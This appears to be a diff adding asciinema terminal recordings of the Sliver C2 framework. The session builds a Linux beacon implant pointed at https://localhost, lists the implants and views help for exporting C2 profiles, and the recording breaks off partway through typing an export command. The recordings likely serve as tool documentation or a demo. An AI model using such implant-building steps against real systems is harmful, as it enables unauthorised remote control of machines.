||||
[59.931291, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[60.031909, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[60.13345, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[60.233744, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[60.334409, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[60.43903, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[60.53986, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[60.641183, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[60.742521, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[60.845122, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[60.945659, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[61.046263, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[61.150717, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[61.252405, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[61.35303, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[61.453724, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[61.525748, "o", "\r\u001b[2K"]
|
||||
[61.526151, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBuild completed in 14s\r\n"]
|
||||
[61.540264, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /root/ASHAMED_WHISKEY\r\n\r\n"]
|
||||
[61.549793, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[61.550094, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[61.558569, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[61.559081, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[71.047093, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[71.047469, "o", "\u001b[6n"]
|
||||
[71.058268, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[71.058901, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
|
||||
[71.392535, "o", "\u001b[?25l"]
|
||||
[71.396397, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[71.4165, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
|
||||
[71.417274, "o", "\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[71.698786, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[71.701075, "o", "\u001b[6n"]
|
||||
[71.708329, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[71.710145, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[72.985648, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[73.009435, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[73.009781, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[73.182195, "o", "\u001b[?25l"]
|
||||
[73.192758, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[73.211661, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D"]
|
||||
[73.211912, "o", "\u001b[10C\u001b[?25h"]
|
||||
[73.35878, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[73.374168, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[73.375805, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[73.734311, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[73.750789, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
|
||||
[73.880835, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[73.883743, "o", "\u001b[6n"]
|
||||
[73.90966, "o", "im\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A"]
|
||||
[73.911553, "o", "\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[73.989321, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[73.993359, "o", "\u001b[6n"]
|
||||
[74.016271, "o", "imp\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[74.043615, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[74.043762, "o", "\u001b[6n"]
|
||||
[74.046477, "o", "impl\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
|
||||
[74.219479, "o", "\u001b[?25l"]
|
||||
[74.221338, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[74.24193, "o", "impla\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[74.243527, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C\u001b[?25h"]
|
||||
[74.331302, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[74.348486, "o", "implan\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[74.348651, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
|
||||
[74.489187, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[74.500297, "o", "implant\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[16D\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
|
||||
[74.566838, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[74.573073, "o", "\u001b[1m\u001b[32mimplants\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[17D\u001b[9C\u001b[214D\u001b[17C\u001b[?25h"]
|
||||
[74.808286, "o", "\u001b[17D\u001b[9C"]
|
||||
[74.813179, "o", "\u001b[6n"]
|
||||
[74.846482, "o", "\u001b[214D\u001b[17C\u001b[0J\u001b[214D\r\r\n\u001b[0 q\r\n"]
|
||||
[74.881318, "o", " Name Implant Type Template OS/Arch Format Command & Control Debug C2 Config ID Stage \r\n================= ============== ========== ============= ============ ======================= ======= =========== ======= =======\r\n ASHAMED_WHISKEY beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 19778 false \r\n\r\n\r\n\r\n"]
|
||||
[74.892365, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[74.893136, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[74.896165, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[77.327059, "o", "\u001b[?25l"]
|
||||
[77.329822, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[77.363208, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[77.365656, "o", "\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
|
||||
[77.504607, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[77.517902, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[77.686298, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[77.701406, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[77.838144, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[77.862375, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[77.864097, "o", "\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
|
||||
[78.126413, "o", "\u001b[13D\u001b[9C\u001b[6n"]
|
||||
[78.141319, "o", "\u001b[214D\u001b[13C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[78.144216, "o", "\u001b[0 q\r\n"]
|
||||
[78.162784, "o", "Exiting...\r\n"]
|
||||
[78.208624, "o", "# "]
|
||||
[79.362147, "o", "\r\n"]
|
||||
@@ -0,0 +1,503 @@
|
||||
{"version": 2, "width": 272, "height": 61, "timestamp": 1714659260, "env": {"SHELL": null, "TERM": "xterm"}}
|
||||
[0.032816, "o", "# "]
|
||||
[0.938981, "o", "."]
|
||||
[0.985467, "o", "/"]
|
||||
[1.198498, "o", "s"]
|
||||
[1.306655, "o", "l"]
|
||||
[1.395915, "o", "i"]
|
||||
[1.477486, "o", "v"]
|
||||
[1.578781, "o", "e"]
|
||||
[1.697675, "o", "r"]
|
||||
[1.869583, "o", "-"]
|
||||
[2.029534, "o", "s"]
|
||||
[2.068227, "o", "e"]
|
||||
[2.163221, "o", "r"]
|
||||
[2.366974, "o", "v"]
|
||||
[2.483838, "o", "e"]
|
||||
[2.57549, "o", "r"]
|
||||
[2.674361, "o", "\r\n"]
|
||||
[3.801485, "o", "\u001b[32m\r\r\n ███████╗██╗ ██╗██╗ ██╗███████╗██████╗\r\r\n ██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗\r\r\n ███████╗██║ ██║██║ ██║█████╗ ██████╔╝\r\r\n ╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗\r\r\n ███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║\r\r\n ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝\r\r\n\u001b[0m\r\nAll hackers gain renown\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - ba3893980d1ca5e4ae4089eb4c87e9f5ba389119 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
|
||||
[3.805318, "o", "\r\n"]
|
||||
[3.8316, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[3.833714, "o", "\u001b[1 q"]
|
||||
[3.835817, "o", "\u001b[?25l"]
|
||||
[3.836612, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[3.837224, "o", "\u001b[6n"]
|
||||
[3.840015, "o", "\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[3.840101, "o", "\r\r\n"]
|
||||
[3.840672, "o", "\u001b[0K"]
|
||||
[3.840882, "o", "\u001b[0J\u001b[272D\u001b[1A"]
|
||||
[3.841088, "o", "\u001b[9D\u001b[9C"]
|
||||
[3.841713, "o", "\u001b[272D\u001b[9C\u001b[?25h"]
|
||||
[4.303647, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[4.306327, "o", "\u001b[6n"]
|
||||
[4.318244, "o", "c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
|
||||
[4.320693, "o", "\u001b[1A\u001b[10D\u001b[9C\u001b[272D\u001b[10C\u001b[?25h"]
|
||||
[4.520626, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.532409, "o", "c2\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[11D\u001b[9C\u001b[272D\u001b[11C\u001b[?25h"]
|
||||
[4.791039, "o", "\u001b[?25l"]
|
||||
[4.791552, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.79912, "o", "c2p\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[4.799739, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[12D\u001b[9C\u001b[272D\u001b[12C\u001b[?25h"]
|
||||
[4.894404, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.900902, "o", "c2pr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A"]
|
||||
[4.901711, "o", "\u001b[13D\u001b[9C\u001b[272D\u001b[13C\u001b[?25h"]
|
||||
[4.993115, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.013218, "o", "c2pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[14D\u001b[9C\u001b[272D\u001b[14C\u001b[?25h"]
|
||||
[5.114605, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.133834, "o", "c2prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[5.134762, "o", "\u001b[272D\u001b[1A\u001b[15D\u001b[9C\u001b[272D\u001b[15C\u001b[?25h"]
|
||||
[5.211061, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.223123, "o", "c2profi\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[5.223581, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[16D\u001b[9C\u001b[272D\u001b[16C\u001b[?25h"]
|
||||
[5.289935, "o", "\u001b[?25l\u001b[272D"]
|
||||
[5.291987, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.300907, "o", "c2profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A"]
|
||||
[5.302069, "o", "\u001b[17D\u001b[9C\u001b[272D\u001b[17C\u001b[?25h"]
|
||||
[5.332256, "o", "\u001b[?25l\u001b[272D"]
|
||||
[5.332755, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.339849, "o", "c2profile\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[5.341086, "o", "\u001b[272D\u001b[1A\u001b[18D\u001b[9C\u001b[272D\u001b[18C\u001b[?25h"]
|
||||
[5.389029, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[5.390688, "o", "\u001b[6n"]
|
||||
[5.396701, "o", "\u001b[1m\u001b[32mc2profiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[5.396869, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[19D\u001b[9C\u001b[272D\u001b[19C\u001b[?25h"]
|
||||
[5.516542, "o", "\u001b[?25l"]
|
||||
[5.53115, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.537208, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
|
||||
[5.537737, "o", "\u001b[1A\u001b[20D\u001b[9C\u001b[272D\u001b[20C\u001b[?25h"]
|
||||
[6.697572, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.71869, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22me\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A"]
|
||||
[6.721034, "o", "\u001b[21D\u001b[9C\u001b[272D\u001b[21C\u001b[?25h"]
|
||||
[6.877095, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.889959, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[6.891807, "o", "\u001b[272D\u001b[1A\u001b[22D\u001b[9C\u001b[272D\u001b[22C\u001b[?25h"]
|
||||
[7.017006, "o", "\u001b[?25l"]
|
||||
[7.018407, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.027881, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexp\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[7.030167, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[23D\u001b[9C\u001b[272D\u001b[23C\u001b[?25h"]
|
||||
[7.059124, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[7.05968, "o", "\u001b[6n"]
|
||||
[7.065781, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexpo\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[7.067786, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[24D\u001b[9C\u001b[272D\u001b[24C\u001b[?25h"]
|
||||
[7.22245, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.238734, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexpor\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[7.241667, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[25D\u001b[9C\u001b[272D\u001b[25C\u001b[?25h"]
|
||||
[7.335184, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.342802, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[7.344413, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[26D\u001b[9C\u001b[272D\u001b[26C\u001b[?25h"]
|
||||
[7.441901, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.45158, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[27D\u001b[9C\u001b[272D\u001b[27C\u001b[?25h"]
|
||||
[8.047779, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.069437, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[8.070579, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[28D\u001b[9C\u001b[272D\u001b[28C\u001b[?25h"]
|
||||
[8.364177, "o", "\u001b[?25l\u001b[272D"]
|
||||
[8.364744, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.371014, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r"]
|
||||
[8.371233, "o", "\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[29D\u001b[9C\u001b[272D\u001b[29C\u001b[?25h"]
|
||||
[8.723197, "o", "\u001b[29D\u001b[9C"]
|
||||
[8.723881, "o", "\u001b[6n"]
|
||||
[8.731097, "o", "\u001b[272D\u001b[29C\u001b[0J\u001b[272D\r\r\n"]
|
||||
[8.735797, "o", "\u001b[0 q"]
|
||||
[8.737844, "o", "\r\n"]
|
||||
[8.756828, "o", "Export HTTP C2 profile\r\n\r\n"]
|
||||
[8.764575, "o", "Usage:\r\n c2profiles export [flags]\r\n\r\nFlags:\r\n -f, --file string Path to file to export C2 configuration to\r\n -h, --help help for export\r\n -n, --name string HTTP C2 Profile name (default \"default\")\r\n"]
|
||||
[8.765484, "o", "\r\n"]
|
||||
[8.788535, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[8.789174, "o", "\u001b[1 q\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.791716, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[9D\u001b[9C"]
|
||||
[8.79195, "o", "\u001b[272D\u001b[9C\u001b[?25h"]
|
||||
[9.813154, "o", "\u001b[?25l"]
|
||||
[9.814247, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[9.833167, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[9.835856, "o", "\u001b[272D\u001b[1A\u001b[29D\u001b[9C\u001b[272D\u001b[29C\u001b[?25h"]
|
||||
[10.573182, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[10.574022, "o", "\u001b[6n"]
|
||||
[10.592491, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[10.594246, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[28D\u001b[9C\u001b[272D\u001b[28C\u001b[?25h"]
|
||||
[11.366893, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.385557, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[29D\u001b[9C\u001b[272D"]
|
||||
[11.388938, "o", "\u001b[29C\u001b[?25h"]
|
||||
[11.545758, "o", "\u001b[?25l"]
|
||||
[11.549911, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.561053, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[11.563741, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[30D\u001b[9C\u001b[272D\u001b[30C\u001b[?25h"]
|
||||
[11.882926, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.903972, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22md\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[11.904256, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[31D\u001b[9C\u001b[272D\u001b[31C\u001b[?25h"]
|
||||
[11.943583, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[11.943795, "o", "\u001b[6n"]
|
||||
[11.950851, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mde\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[32D\u001b[9C\u001b[272D\u001b[32C\u001b[?25h"]
|
||||
[12.093835, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[12.107646, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdef\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[12.109905, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[33D\u001b[9C\u001b[272D\u001b[33C\u001b[?25h"]
|
||||
[12.209746, "o", "\u001b[?25l"]
|
||||
[12.213819, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[12.229556, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefa\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[34D\u001b[9C\u001b[272D\u001b[34C\u001b[?25h"]
|
||||
[12.31973, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[12.324946, "o", "\u001b[6n"]
|
||||
[12.335256, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefau\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[12.337214, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[35D\u001b[9C\u001b[272D\u001b[35C\u001b[?25h"]
|
||||
[12.363598, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[12.365699, "o", "\u001b[6n"]
|
||||
[12.373131, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefaul\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[12.374193, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[36D\u001b[9C\u001b[272D\u001b[36C\u001b[?25h"]
|
||||
[12.450096, "o", "\u001b[?25l\u001b[272D"]
|
||||
[12.451101, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[12.458408, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[37D\u001b[9C\u001b[272D\u001b[37C\u001b[?25h"]
|
||||
[12.759097, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[12.773543, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[38D\u001b[9C\u001b[272D\u001b[38C\u001b[?25h"]
|
||||
[12.932706, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[12.940468, "o", "\u001b[6n"]
|
||||
